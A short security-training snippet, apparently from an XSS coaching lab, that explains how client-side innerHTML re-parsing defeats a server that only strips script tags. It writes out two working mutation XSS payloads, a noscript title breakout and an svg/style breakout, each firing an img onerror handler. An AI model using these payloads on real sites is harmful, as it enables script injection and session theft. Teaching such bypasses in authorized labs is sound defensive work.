The server strips <script>, then the client does out.innerHTML = clean. innerHTML re-parses, so a mutation vector fires: <noscript><p title="</noscript><img src=x onerror=alert(document.domain)>"> or <svg><style><img src=x onerror=alert(document.domain)>.
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only